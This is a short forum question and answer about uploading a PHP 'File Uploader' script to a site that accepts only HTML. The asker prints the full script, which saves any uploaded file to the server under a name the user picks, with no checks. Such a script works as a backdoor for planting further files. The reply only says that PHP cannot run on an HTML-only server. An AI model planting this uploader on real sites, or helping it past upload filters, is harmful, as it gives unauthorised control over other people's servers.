I was trying to upload this file into a website, but it won't allow me to upload a PHP file into the site. Only HTML are allowed. The problem is, I don't know how to include this PHP script in HTML.
<?php
echo '<title>File Uploader</title>';
echo
'<form action="" method="post"
enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
<input name="_upl" type="submit" id="_upl" value="Upload">
</form>';
if( $_POST['_upl'] == "Upload" )
{
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Upload Success!</b><br><br>';
}
else { echo '<b>Upload Failed!</b><br><br>'; }
}
?>
You can't include a php file in html if the server will not allow anything except html. You can only upload a php file to a server that allows you to serve PHP.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With